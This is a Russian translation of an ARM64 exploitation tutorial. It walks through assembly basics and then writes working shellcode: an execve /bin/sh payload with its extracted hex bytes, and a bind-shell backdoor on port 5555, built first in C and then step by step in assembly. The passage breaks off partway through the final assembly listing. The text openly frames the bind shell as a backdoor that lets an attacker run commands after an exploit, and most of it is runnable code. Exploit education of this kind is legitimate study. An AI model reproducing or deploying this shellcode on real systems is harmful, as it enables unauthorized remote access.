Необходимый уровень подготовки.
  1. Знание инструкций ассемблера ARM64.
  2. Начальные знания языка программирования C.
  3. Рабочее окружение с ARM64.
Мы будем использовать образ убунту для AARCH64 от Hugsy: https://blahcat.github.io/. Вы можете скачать его здесь: https://blahcat.github.io/pages/qemu-vm-repo

Если ваш уровень подготовки не соответствует приведенному выше, ознакомьтесь с нашей серией статей по эксплуатации ARM64:
  1. ARM64 реверсинг и эксплуатация часть 0x1
  2. ARM64 реверсинг и эксплуатация часть 0x2
  3. ARM64 реверсинг и эксплуатация часть 0x3
  4. ARM64 реверсинг и эксплуатация часть 0x4
Hello World на ARM64.

Давайте напишем какой-нибудь код на ассемблере. Лучший способ что-то изучить – делать это.

Для начала, есть несколько вещей о которых следует помнить во время написания ассемблерного кода.
  • Соглашение о вызовах у ARM64.
    • Первые 8 аргументов, следует располагать в регистрах с x0 по x7.
    • Номер системного вызова, указывается в регистре x8.
  • Постарайтесь свести к минимуму использование нулевых байтов настолько, насколько это возможно.
  • Возвращаемое функцией значение, будет сохранено в регистре x0.
Перво-наперво, что такое syscall?
Syscall, обозначает System Call – системный вызов. Когда программе, выполняемой на уровне пользователя, необходимо выполнить какие-либо привилегированные операции или требуется доступ к определенным системным ресурсам, напрямую ей это не доступно – она делает запрос к ядру используя для этого системный вызов. Системные вызовы, это набор API или библиотечных функций, предоставляемых операционными системами, чтобы программисты использовали их для взаимодействия с ядром. Например для печати чего-либо на экране, мы можем использовать системный вызов write(). Системный вызов у ARM64, оканчивается использованием инструкции svc (Supervisor Call). Разные системные вызовы идентифицируются операционной системой по уникальным номерам. Этот номер, называется syscall number – номер системного вызова. У ARM64 в процессе использования системных вызовов, номер системного вызова следует помещать в регистр x8.

Код:
mov x8, #93 // Example of exit syscall
svc 0

Если номер вызова не верен, то он обычно игнорируется ядром.

Давайте рассмотрим типичный шаблон кода программы на ассемблере для ARM64.

Код:
.global  _start
.section .text

_start:

.section .data

Давайте разберем, каждую строку.
  • .global _start
    • эта строка объявляет идентификатор _start, как глобальный. _start, является точкой входа приложения. Объявление _start глобальным идентификатором, позволяет ссылаться на него из других частей приложения и обращаться к нему.
  • .section .text
    • эта строка объявляет, что на протяжении секции .text размещен программный код.
  • _start:
    • эта строка отмечает начало секции кода. Идентификатор _start используется, как точка входа в приложение. Это место, в котором мы пишем наши инструкции ассемблера.
  • .section .data
    • эта строка указывает, что последующий код или данные, размещены на протяжении секции .data. Секция .data используется для хранения инициализированных глобальных и статических переменных.
Мы также видим, что эти секции, определены с помощью идентификатора .section.

На следующем шаге нужно определить, какие элементы нам потребуются в программе для печати Hello world.

Для печати чего-либо на экране, нам требуется системный вызов write(). А значит, нам нужно выяснить номер этого системного вызова. Следующей вещью, которую мы должны сделать, это определить метку, по которой в нашей ассемблерной программе хранится строка Hello world. Мы можем определить эту строку в секции .data.

Во-первых, давайте узнаем номер системного вызова write(). Мы запросто узнаем его, использовав источники ниже:
Давайте посмотрим номер для системного вызова write().

shellcode-1.png


Итак, номер системного вызова write() равен 64.

Также у write() есть три аргумента. Вот они:
  • x0: должен содержать значение файлового дескриптора.
  • x1: должен указывать на выводимую строку Hello world.
  • x2: должен содержать количество выводимых символов.
Так, а что такое файловый дескриптор и каким должно быть его значение?

Дескриптор файла, это уникальный идентификатор используемый операционной системой для доступа к файлу или потоку данных. В юникс-подобных системах, доступно три стандартных дескриптора файлов.

*прим. переводчика - три стандартных, это просто дескрипторы с зарезервированными номерами, из таблицы ниже. А вообще файловый дескриптор создается при открытии любого файла, но имеет условно произвольный номер.

Дескриптор файла​
Описание​
0​
Представляет стандартный входной поток. Используется для получения пользовательского ввода.
1​
Представляет стандартный выходной поток. Используется для вывода данных на экран.
2​
Представляет стандартный поток сообщений об ошибках. Используется для вывода сообщений об ошибках.

Для печати Hello world на экране, нам нужно использовать значение fd (дескриптор файла), равное 1. Затем мы должны поместить его значение в регистр x0.

Приступим к написанию ассемблерного кода.

Сначала давайте определим метку для хранения строки Hello world. Мы можем назвать метку msg и применить идентификатор .ascii, чтобы определить нашу строку как ASCII.

Код:
.global  _start
.section .text

_start:

.section .data
        msg:
        .ascii "Hello world\n"

Давайте добавим номер системного вызова в регистр x8 и инструкцию svc.

Номер системного вызова write(), равен 64. Именно его нужно копировать в регистр x8. Для этого мы можем использовать инструкцию mov. Целые значения не в шестнадцатеричном формате, могут быть обозначены символом #.

Код:
.global  _start
.section .text

_start:
        mov x8,#64  //Syscall number for write
        svc 0       // Supervisor call

.section .data
        msg:
        .ascii "Hello world\n"

Теперь добавим аргументы для записи. Мы используем инструкцию mov для записи в регистры x1 и x2. Так как x1 содержит указатель на строку, мы используем еще инструкции ldr или adr.

Код:
.global  _start
.section .text

_start:
        mov x0,#1    //Fd for standard input
        ldr x1,=msg // Pointer to the Hello world string
        mov x2,#12  // The number of characters in the "hello world" string
        mov x8,#64  //Syscall number for write
        svc 0       // Supervisor call

.section .data
        msg:
        .ascii "Hello world\n"

Есть еще одна штука, которую нужно сюда добавить. После вывода строки на экране, нам нужен системный вызов exit(), чтобы завершить процесс после того, как мы напечатали нашу строку. Найдем номер системного вызова exit() и добавим его.

shellcode-2.png


Итак, номер системного вызова exit() равен 93 и у него есть некий аргумент error_code. Для этого аргумента, вы можете указать значение на ваш выбор. Пусть это будет 1.

Обновим наш ассемблерный код.

Код:
.global  _start
.section .text

_start:
        mov x0,#1    //Fd for standard input
        ldr x1,=msg // Pointer to the Hello world string
        mov x2,#12  // The number of characters in the "hello world" string
        mov x8,#64  //Syscall number for write
        svc 0       // Supervisor call

        mov x8,#93  //Syscall number for exit
        svc 0       // Supervisor call


.section .data
        msg:
        .ascii "Hello world\n"

Выполним ассемблирование и связывание программы.

Код:
as <filename.s> -o  <filename.o>
ld <filename.o> -o  <filename>

shellcode-3.png


Давайте ее запустим и проверим, работает ли она.

shellcode-4.png


Она работает!!! Мы видим нашу строку Hello world, напечатанную на экране.

Шеллкод с помощью системного вызова Execve()

Итак, мы закончили с нашей ассемблерной программой Hello world. В этот раз давайте создадим шеллкод.

Мы будем создавать шеллкод для запуска, собственно шелла: /bin/sh. Для этого мы можем использовать системный вызов execve(). Эм, а в чем назначение системного вызова execve()?

Он используется для создания и выполнения нового процесса. При вызове execve(), произойдет замена текущего процесса, указанной программой и эта новая программа начнет выполнение со ее точки входа. Даже если вы используете функцию system() языка C, чтобы выполнить системную команду мы увидим, что она будет использовать системный вызов execve().

Давайте рассмотрим пример программы, которая использует функцию system() для поднятия шелла.

C:
#include <stdio.h>

void main(){

system("/bin/sh");

}

Скомпилируем ее gcc.

Bash:
gcc system.c -o system

Запустим программу, чтобы увидеть работает ли она.

shellcode-5.png


Давайте запустим команду strace, чтобы посмотреть, какие системные вызовы использует наша программа.

shellcode-6.png


Мы видим, что она использует системный вызов execve().

Рассмотрим подробнее системный вызов execve() и его аргументы.

shellcode-7.png


Номер системного вызова для execve(), равен 221, значит в регистре x8 должно быть 221.

У системного вызова для execve() есть три аргумента. Соответственно, для передачи параметров - нам нужно использовать три первых регистра (x0 ... x2):
  • x0 должен содержать имя или путь к программе, которую мы хотим выполнить. В данном случае, нам надо записать в x0 строку /bin/sh, т. к. путь к программе, которую надо выполнить - /bin/sh.
  • x1 должен содержать массив строк, содержащих аргументы командной строки для передачи их в запускаемую программу. Если у нас нет никаких аргументов, мы можем указать ноль.
  • x2 должен содержать массив строк, содержащих переменные окружения для запускаемой программы. Здесь мы так же можем указать ноль, если нам не требуются никакие переменные окружения.
А сейчас, давайте напишем программу на ассемблере для запуска шелла с помощью системного вызова execve().

Код:
//A simple assembly program to spawn a "/bin/sh" shell using execve
// execve("/bin/sh",0,0)


.global  _start
.section .text

_start:
        ldr x0,=shell  // first argument to execve
        mov x1,#0     // second argument to execve
        mov x2,#0    // third argument to execve
        mov x8,#221  // syscall numberto execve
        svc 0    // syscall

.section .data
shell:
        .ascii "/bin/sh\0"   // The path of the program as a null terminated string

Выполним ассемблирование и связывание программы.

Bash:
as execve.s -o execve.o
ld execve.o -o execve.elf

Попытаемся ее запустить.

shellcode-8.png


Отлично, она работает как задумано.

Но нам нужна, вовсе не собранная программа, нам нужен собственно шеллкод. Поэтому, давайте попытаемся извлечь шеллкод из этой программы с помощью регулярного выражения, приведенного ниже.

Bash:
echo "\"$(objdump -d BINARY | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""

shellcode-9.png


Вот извлеченный шеллкод:

Bash:
"\x58\x00\x00\xc0\xd2\x80\x00\x01\xd2\x80\x00\x02\xd2\x80\x1b\xa8\xd4\x00\x00\x01\x00\x00\x00\x00\x00\x41\x00\xd0\x00\x00\x00\x00"

Однако, если вы посмотрите на этот шеллкод, вы увидите множество нулевых байтов (“\x00”).

Мы можем применить некоторые стратегии показанные ниже, для снижения количества нулевых байтов.
  • Использовать регистр xzr, вместо жестко закодированного нуля.
  • В случае с инструкцией svc, применяйте значение не содержащее нулевых байтов. Например: 0x1337.
  • Используйте инструкцию adr, вместо ldr.
Давайте перепишем наш ассемблерный код и посмотрим, что произойдет.

Код:
//A simple assembly program to spawn a "/bin/sh" shell using execve
// execve("/bin/sh",0,0)

.global  _start
.section .text

_start:
        adr x0,shell   // first argument to execve
        mov x1,xzr     // second argument to execve
        mov x2,xzr    // third argument to execve
        mov x8,#221   // syscall numberto execve
        svc #0x1337   // syscall

.section .data
shell:
        .ascii "/bin/sh\0"  // The path of the program as a null terminated string

Выполним ассемблирование и связывание.

Bash:
as execve.s -o execve.o
ld execve.o -o execve.elf

Теперь давайте проверим, работает ли программа так как надо.

shellcode-10.png


А сейчас, давайте извлечем шеллкод.

shellcode-11.png


Bash:
"\x10\x08\x00\xa0\xaa\x1f\x03\xe1\xaa\x1f\x03\xe2\xd2\x80\x1b\xa8\xd4\x02\x66\xe1"

Если мы сравним этот шеллкод с тем, что извлекли ранее - мы увидим, что он значительно короче, а также содержит всего один нулевой байт.

Шеллкод открытия шелла.

Давайте попробуем заняться созданием шеллкода для открытия шелла.

Прежде всего разберемся, а что такое открытие шелла?

Открытие шелла на каком-либо порту, это разновидность бэкдора, которая позволяет атакующему установить соединение с системой и выполнять в ней команды. В случае открытия шелла, атакующий может открывать порты, как на скомпрометированной, так и на целевой системе. Целевая машина, прослушивает определенный порт и устанавливает соединение с атакующим, позволяя ему получить доступ к шеллу и выполнять произвольные команды. После эксплуатации, какой-либо уязвимости в системе, такой как переполнение буфера, мы можем попытаться выполнить шеллкод открывающий шелл, облегчающий получение доступа к командной оболочке.

Как упоминалось ранее, во время работы с ассемблером, разумно получить грубую кальку для будущей программы на ассемблере с программы написанной на C. Мы можем анализировать листинг в дизассемблере, выполнять трассировку программы и другие техники для обретения лучшего понимания.

Давайте приступим к написанию процедуры открытия шелла, на языке C.
  • Создание нового TCP сокета.
    • Используйте функцию socket().
  • Связывание сокета с конкретным портом.
    • Используйте функцию bind().
  • Прослушивание входящих подключений.
    • Используйте функцию listen().
  • Принятие входящего подключения.
    • Используйте функцию accept().
  • Перенаправление STDIN, STDOUT и STDERRво вновь созданный сокет.
    • Используйте функцию dup3(), т. к. функция dup2() для ARM64 недоступна.
  • Порождение процесса шелла.
    • Используйте функцию execve().
Теперь, попробуем написать программу на C.

Начнем с необходимых заголовочных файлов.

C:
#include <stdio.h>       #contains input and output functions
#include <sys/types.h>   #contains various data types used in system calls
#include <sys/socket.h>  #contains definitions and structures for socket-related functions
#include <netinet/in.h>  #contains structures for working with Internet addresses and network operations

Теперь давайте создадим TCP сокет.

У функции создания сокета, есть три аргумента.

socket(AF_INET, SOCK_STREAM, 0);
  • AF_INET: AF_INET обозначает семейство адресов, как сетевые. Оно может быть использовано для создания сокета IPV4.
  • SOCK_STREAM: Этот параметр, указывает тип сокета как потоковый. SOCK_STREAM обеспечивает, устанавливающий соединение поток байт по протоколу TCP.
  • 0: Последним параметром, мы можем указать ноль. Это говорит о том, что операционная система должна автоматически выбрать подходящий протокол, основываясь на семействе адресов и типе сокета.
C:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;    // socket file descriptor

void main()
{
 // Create a new TCP socket
 sock = socket(PF_INET, SOCK_STREAM, 0);

}

Давайте создадим экземпляр структуры sockaddr_in. Эта структура используется для хранения информации об адресе сокета IPV4, включая семейство адресов, порт и IP адрес.

C:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;    // socket file descriptor
struct sockaddr_in host_adr; // listen address

void main()
{
 // Create a new TCP socket
 sock = socket(PF_INET, SOCK_STREAM, 0);

}

Теперь давайте используем структуру host_adr, чтобы указать семейство адресов, порт и IP адрес.

C:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;    // socket file descriptor
struct sockaddr_in host_adr; // listen address

int sock;    // socket file descriptor
struct sockaddr_in host_adr; // listen address

void main()
{

// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);

host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order

}

Далее, давайте разбираться с функцией bind().

Функции bind(), требуется передать три параметра.
  1. sockfd: Это файловый дескриптор сокета. Он представляет сокет, который будет связывать адрес и порт.
  2. addr: Это указатель на структуру типа sockaddr, содержащей информацию об адресе и порте.
  3. addrlen: Этот параметр, задает размер занимаемый структурой, на которую указывает addr. Он может быть задан, как sizeof(struct sockaddr_in) или sizeof(struct sockaddr_in6), в зависимости от используемого семейства адресов.
Давайте обновим нашу программу на C и добавим в нее функцию bind().

C:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;    // socket file descriptor
struct sockaddr_in host_adr; // listen address

void main()
{

// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);

host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port

}

Следующим этапом, давайте по быстрому взглянем на функцию listen().
  1. sockfd: Это такой же файловый дескриптор, как и в функции bind().
  2. backlog: Этот параметр, указывает максимальное количество открытых соединений, которые могут содержаться в очереди прослушивания. Здесь мы укажем 2.
Обновим нашу программу еще раз.

C:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;    // socket file descriptor
struct sockaddr_in host_adr; // listen address

void main()
{

// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);

host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
listen(sock, 2); // Listening for incoming connections

}

Следующий момент – добавление функции accept(). Давайте рассмотрим, так же и эту функцию.
  1. sockfd: Такой же файловый дескриптор сокета, как и в функциях рассмотренных выше.
  2. addr: Это указатель на структуру типа sockaddr. Адрес клиента нам не интересен, поэтому можно передать в этот параметр NULL.
  3. addrlen: Этот параметр, является указателем на переменную socklen_t. Здесь мы так же можем указать NULL.
Нам также нужна переменная, которая будет хранить дескриптор нового сокета, созданного функцией accept(). Она представляет дескриптор сокета, для конкретного принятого соединения. Мы будем использовать этот дескриптор в функции dup3(), для перенаправления стандартных потоков ввода, вывода и сообщений об ошибках.

Давайте добавим функцию accept().

C:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;    // socket file descriptor
struct sockaddr_in host_adr; // listen address
int newsock_fd;  // client socket fd for use in dup3()

void main()
{

// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);

host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
listen(sock, 2); // Listening for incoming connections
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection

}

Давайте еще рассмотрим функцию dup3() и ее параметры.

Функция dup3() в языке C, применяется для копирования файлового дескриптора, в указанный новый дескриптор.

Взглянем на ее аргументы.
  1. oldfd: Копируемый файловый дескриптор.
  2. newfd: Файловый дескриптор, который будет использоваться в качестве копии. Если newfd, является уже открытым дескриптором, он будет закрыт перед повторным использованием в качестве копии.
  3. flags: Этот параметр, позволяет вам указать дополнительные флаги для нового дескриптора файла. Они указывается через поразрядное ИЛИ | комбинацией соответствующих констант.
В качестве значений для стандартного ввода, вывода и сообщений об ошибках, воспользуйтесь таблицей:

Дескриптор файла​
Описание​
0​
Представляет стандартный входной поток. Используется для получения пользовательского ввода.
1​
Представляет стандартный выходной поток. Используется для вывода данных на экран.
2​
Представляет стандартный поток сообщений об ошибках. Используется для вывода сообщений об ошибках.

Давайте опять обновим программу.

C:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;    // socket file descriptor
struct sockaddr_in host_adr; // listen address
int newsock_fd;  // client socket fd for use in dup3()

void main()
{

// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);

host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
listen(sock, 2); // Listening for incoming connections
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection

dup3(newsock_fd, 0, 0);  //dup3 standard input
dup3(newsock_fd, 1, 0);  //dup3 standard output
dup3(newsock_fd, 2, 0);  //dup3 standard error

}

И наконец добавим вызов execve(), для поднятия шелла /bin/sh.

C:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;    // socket file descriptor
struct sockaddr_in host_adr; // listen address
int newsock_fd;  // client socket fd for use in dup3()

void main()
{

// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);

host_adr.sin_family = AF_INET;    // server socket type address family,represents the  IPv4 socket
host_adr.sin_port = htons(5555);  // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order

bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
listen(sock, 2); // Listening for incoming connections
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection

dup3(newsock_fd, 0, 0);  //dup3 standard input
dup3(newsock_fd, 1, 0);  //dup3 standard output
dup3(newsock_fd, 2, 0);  //dup3 standard error

execve("/bin/sh", 0, 0); //Spawns the /bin/sh shell

}

Давайте скомпилируем программу с помощью gcc.

Bash:
gcc bindshell-0x1.c -o bindshell-0x1

Теперь запустим программу и проверим, работает ли она.

Мы можем использовать netcat для подключения к шеллу. Используйте команды, показанные ниже.

shellcode-12.png


shellcode-13.png


Отлично!!! Наша программа работает как надо. Теперь мы можем выполнять произвольные команды.

Давайте используем команду strace для трассировки нашей программы, чтобы лучше понять как она использует системные вызовы на нижнем уровне. Это ключевой момент, т. к. он послужит калькой для разработки программы создания шеллкода на ассемблере.

shellcode-14.png


shellcode-15.png


Часть скриншота, выделенная желтым цветом - это важные системные вызовы, которые мы задействуем в нашем шеллкоде.

Мы также можем отфильтровать остальные системные вызовы с помощью starce и сосредоточиться только на тех, что нужны нам.

Bash:
strace -e <syscalls>

shellcode-16.png


Также запомните, что значения напечатанные после знака = представляют собой значения, возвращенные соотв. функциями.

Следующий шаг, это выяснение номеров системных вызовов для socket(), bind(), listen(), accept(), dup3() и execve(). Обратимся к справке: https://arm64.syscall.sh/ еще раз для выяснения этих номеров.

Чтобы упростить вам работу, мы уже узнали номера системных вызовов, перечисленных выше.

системный вызов
номер системного вызова
socket()
198​
bind()
200​
listen()
201​
accept()
202​
dup3()
24​
execve()
221​

Начнем с системного вызова socket(). Чуть раньше, мы использовали функцию socket() в нашей программе для открытия шелла, написанной на языке C, верно? Посмотрев на нее снова, мы увидим, что у нее есть три параметра.

C:
sock = socket(PF_INET, SOCK_STREAM, 0);

Для написания шеллкода, нам нужно выяснить числа, соответствующие этим аргументам. Мы можем найти их в заголовочном файле socket.h: https://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
C:
#define SOCK_STREAM 1
#define AF_INET     2   /* Internet IP Protocol     */

Итак, мы используем 2 и 1, вместо PF_INET и SOCK_STREAM. В соответствии с соглашением о вызовах:
  • x0 : должен содержать значение 2.
  • x1 : должен содержать значение 1.
  • x2 : должен содержать значение 0.
  • x8 : должен содержать значение 198.
Приступим к написанию всего этого на ассемблере.

Код:
.global  _start
.section .text

_start:
        mov x0,#2 // socket(2, 1, 0)
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket

.section .data

Здесь нужно сделать еще кое-что. Как нам известно, после системного вызова функции socket() она вернет дескриптор файла, который будет использован в последующих системных вызовах. Значит мы должны сохранять возвращаемое значение (дескриптор файла) в другом регистре, так чтобы могли использовать его повторно в остальных системных вызовах. В таких ситуациях используйте регистр, который не будет перезаписан другим значением. А значит, давайте добавим его в нашу программу.

Код:
.global  _start
.section .text

_start:
        mov x0,#2 // socket(2, 1, 0)
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall

.section .data

Далее добавляем функцию bind(). Перед этим, взглянем на нее еще разок.

C:
bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); //From the above c program for bind shell.

Первый аргумент sock, должен содержать файловый дескриптор сокета, а файловый дескриптор сокета – это значение возвращаемое системным вызовом socket(). Так как возвращаемое значение, после системного вызова socket() сохранено в регистре x0, мы просто используем его повторно в системном вызове bind().

Второй аргумент, это адрес структуры. Давайте ее проанализируем.

C:
struct sockaddr_in {
    short int sin_family;           // Address family (e.g., AF_INET)
    unsigned short int sin_port;    // Port number in network byte order
    struct in_addr sin_addr;        // IP address in network byte order
    unsigned char sin_zero[8];      // Padding to make it the same size as struct sockaddr
};

Давайте также, обратим внимание на размеры членов этой структуры.
  • sin_family: 2 байта
  • sin_port: 2 байта
  • sin_addr: 4 байта
  • sin_zero: 8 байт
Нам нужно создать метку в секции .data, нашей программы и добавить туда значения первых трех членов структуры. Последний мы можем проигнорировать, т. к. он не несет смысловой нагрузки и добавлен в качестве заполнителя, для выравнивания размера структуры с sockaddr.

В общем сделаем это.

Код:
.global  _start
.section .text

_start:
        mov x0,#2 // socket(2, 1, 0)
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall

.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 bytes

Теперь, давайте добавим код для системного вызова bind().
  • x0: уже содержит файловый дескриптор сокета. Значит x0, мы изменять не должны.
  • x1: должен содержать адрес структуры sockadr. Для этого мы можем воспользоваться инструкциями ldr или adr. Нам однако, следует применить adr, т. к. в adr меньше нулевых байтов.
  • x2: должен содержать размер структуры sockadr. Он равен 16 байт (2 + 2 + 4 + 8).
  • x8: должен содержать значение 200.
*прим. переводчика - структура sockadr (да, с одной d), это экземпляр структуры sockaddr_in, объявленный под именем sockadr в секции .data в листинге выше.

Код:
.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall

        // bind(x0, &sockadr, 16), x0 = socket fd
        adr x1,sockadr //address of the struct
        mov x2,#16  //size
        mov x8,#200 //syscall number for bind
        svc #0x1337

.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 bytes

Продолжим. Теперь нам следует добавить функцию listen().

C:
int listen(int sockfd, int backlog);
  • x0: должен содержать файловый дескриптор сокета, т. к. x0 был перезаписан новым значением, возвращенным системным вызовом bind(). Мы можем использовать регистр x4, содержащий сохраненное значение файлового дескриптора сокета, полученное в результате вызова socket() и копировать его обратно в x0.
  • x1: должен содержать значение 2.
  • x8: должен содержать значение 201.
Код:
.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall

        // bind(sock, &sockadr, 16), x0 = sock
        adr x1,sockadr //address of the struct
        mov x2,#16    //size
        mov x8,#200  //syscall number for bind
        svc #0x1337

        //listen(sock,0) , x0 = sock
        mov x0,x4  //sock
        mov x1,#2   //backlog
        mov x8,#201 //syscall number for listen syscall
        svc #0x1337

.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 bytes

Далее добавим функцию accept().

C:
accept(sock, NULL, NULL)
  • x0: должен содержать файловый дескриптор сокета. Копируем его из регистра x4.
  • x1: должен содержать значение 0.
  • x2: должен содержать значение 0.
  • x8: должен содержать значение 202.
Мы также должны сохранить новый файловый дескриптор, возвращенный системным вызовом accept(). Этот новый дескриптор, будет использоваться в последующих вызовах dup3().

Код:
.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall

        // bind(sock, &sockadr, 16), x0 = sock
        adr x1,sockadr //address of the struct
        mov x2,#16    //size
        mov x8,#200  //syscall number for bind
        svc #0x1337

        //listen(sock,0) , x0 = sock
        mov x0,x4  //sock fd
        mov x1,#2   //backlog
        mov x8,#201 //syscall number for listen syscall
        svc #0x1337

        //accept(sock, 0, 0)
        mov x0,x4  // sock fd
        mov x1,xzr
        mov x2,xzr
        mov x8,#202 //syscall for accept syscall
        svc #0x1337
        mov x4,x0 // saving the fd returned from the accept syscall


.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 byte

Теперь давайте добавим системные вызовы dup3() для потоков стандартного ввода, вывода и сообщений об ошибках.

C:
dup3(newsock_fd, 0, 0);  //dup3 standard input
dup3(newsock_fd, 1, 0);  //dup3 standard output
dup3(newsock_fd, 2, 0);  //dup3 standard error
  • x0: должен содержать новый файловый дескриптор. При первом вызове dup3(), регистр x0 будет содержать новый дескриптор, при последующих вызовах его нужно будет копировать из регистра x4.
  • x1: должен обновляться при каждом вызове, в соответствии с выбранным потоком ввода, вывода или сообщений об ошибках.
  • x2: должен содержать значение 0.
  • x8: должен содержать значение 24.
Код:
.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall

        // bind(sock, &sockadr, 16), x0 = sock
        adr x1,sockadr //address of the struct
        mov x2,#16    //size
        mov x8,#200  //syscall number for bind
        svc #0x1337

        //listen(sock,0) , x0 = sock
        mov x0,x4  //sock fd
        mov x1,#2   //backlog
        mov x8,#201 //syscall number for listen syscall
        svc #0x1337

        //accept(sock, 0, 0)
        mov x0,x4  // sock fd
        mov x1,xzr
        mov x2,xzr
        mov x8,#202 //syscall number for accept syscall
        svc #0x1337
        mov x4,x0 // saving the fd returned from the accept syscall

        // dup3(newsock_fd, 0, 0);  //dup3 standard input
        mov x8,#24     // syscall number for dup3
        svc #0x1337

        // dup3(newsock_fd, 1, 0);  //dup3 standard output
        mov x0,x4 //new file descriptor
        mov x1,#1  //standard output
        svc #0x1337  // x8 already contains the syscall number so we don't need to assign it again

        //dup3(newsock_fd, 2, 0);  //dup3 standard error
        mov x0,x4
        mov x1, #2 // standard error
        svc #0x1337  // x8 already contains the syscall number so we don't need to assign it again

.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 byte

Теперь остался только один момент – это системный вызов execve(). Мы уже хорошо знаем, как его использовать для поднятия шелла /bin/sh. Давайте добавим его и доделаем нашу программу.

Код:
.global  _start
.section .text

_start:
        // socket(2, 1, 0)
        mov x0,#2
        mov x1,#1
        mov x2,xzr
        mov x8,#198  //syscall number for socket
        svc #0x1337  //syscall to socket
        mov x4,x0   // To preserve the fd from the socket syscall

        // bind(sock, &sockadr, 16), x0 = sock
        adr x1,sockadr //address of the struct
        mov x2,#16    //size
